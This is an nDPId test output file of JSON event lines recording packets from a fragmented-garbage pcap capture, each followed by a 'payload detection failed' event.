+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690854,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690956,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690970,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691086,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691114,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691143,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691250,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691278,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691307,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":691321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 